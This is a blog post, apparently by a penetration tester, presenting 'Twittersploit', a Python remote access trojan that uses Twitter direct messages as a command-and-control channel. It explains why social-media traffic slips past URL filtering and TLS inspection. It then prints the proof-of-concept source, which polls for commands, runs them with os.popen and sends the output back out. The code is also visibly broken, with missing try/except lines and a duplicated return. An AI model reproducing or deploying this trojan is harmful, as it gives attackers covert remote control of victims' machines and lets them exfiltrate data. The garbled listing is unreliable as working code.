Twitter Remote Access Trojan (Twittersploit)

TL;DR Summary

Developed a malware sample that leverages Twitter direct messaging as a channel for command and control.


Web Service Command and Control

Have recently been structuring a lot of my penetration testing efforts around the MITRE ATT&CK framework. One technique that specifically caught my attention while doing an assessment based on the Command & Control (C&C) section was the T1102 - Web Service C&C technique. It references multiple malware samples that leveraged Twitter as a C&C channel. These samples included:

This technique proved to be uniquely effective for a couple of reasons:

  1. Tradition C&C Channels Blocked - Many organizations are now taking a (quasi) white-listing approach to URL filtering (i.e. blocking unclassified site categories), thereby blocking hastily established C&C channels over HTTP(S)
  2. Web Service Availability - More and more organizations are opening up corporate infrastructure to social media web services (such as Twitter)
  3. Covert Channel - Most security monitoring teams are not going to suspect command and control traffic to be destined for
  4. Privacy Considerations - Many organizations that do SSL/TLS termination (to perform deep packet inspection) will often white-list social media sites to be conscientious of employee privacy, thereby making it impossible to detect C&C operations over these channels

I was unable to find a sample of any of the above mentioned malware. But after some consideration, decided that implementation of this technique should not be too difficult to accomplish.

Anatomy of Command & Control Malware

Any command and control malware includes at least two components.

  1. Bi-directional Communication Channel - To send commands from the C2 server to the victim, and send command results from the victim back to the C2 server.
  2. Code Execution Functionality - To execute commands (on demand) on the victim system, as communicated by the C2 server.

Personally (like many hacker types), my go-to language of choice is Python. So I decided to write the code in Python, then use pyinstaller to compile into stand-alone binaries.

My plan for malware operations included the following:

  1. Upon execution of malware, the malware would use the Twitter DM (Direct Message) API call to send a message to a Twitter C2 account, letting it know that a session has been established
  2. On a routine interval (every 2 seconds), it would use the DM API to see if any new messages were recieved
  3. When a new message is received, the malware would execute the code locally using os.popen(command)
  4. The malware would then send the response from the command back to the C2 account using the DM API

Github Repository

Github - Twittersploit

Proof of Concept

Proof of Concept Code

Surprisingly, this malware sample was EXTREMELY easy to write. Probably only about ~20 lines of functional code for the whole thing (admittedly the rest is all fluff -- I mean...there's even an ASCII bird).

import tweepy
import re
import os
import time

## Complete API Parameters before use -- configured for victim user ##
consumer_key = ''
consumer_secret = ''
access_token = ''
access_token_secret = ''

## Complete info on user account ##
c2_usr = ''

auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
auth.set_access_token(access_token, access_token_secret)
api = tweepy.API(auth)
userid = re.findall(r'(?<=u\'id\': )[0-9]+', str(api.get_user(c2_usr)))[0]

def get_command(api, lastcommand):
    raw_dms = api.direct_messages()
    dms = re.findall(r'(?<=sender_id_str=u\''+userid+'\\\', text=u\')[^\']+', str(raw_dms))
    if dms[0] != lastcommand:
        return dms[0]
        return None

def write_message(api, message):
    api.send_direct_message(screen_name=c2_usr, text=message)

last_command = None
last_command = get_command(api, last_command)
hostname = str(os.popen('hostname').read()).replace('\n','')
splash = '''
==..........TWITTER RAT............==

''' % (hostname)
    write_message(api, splash)
    print "[+] Twitter RAT connection established...\n"
    print "[-] Something went wrong...\n"

while True:
    command = get_command(api, last_command)
    if command:
        print '[+] Command Recieved - ' + command
        last_command = command
            result = os.popen(command).read()
            if result == '':
                result = '[-] ERROR - COMMAND FAILED'
            result = '[-] ERROR - COMMAND FAILED'
            print '[-] ERROR - COMMAND FAILED'
        print '[+] Sending Result - \n' + result
        write_message(api, result)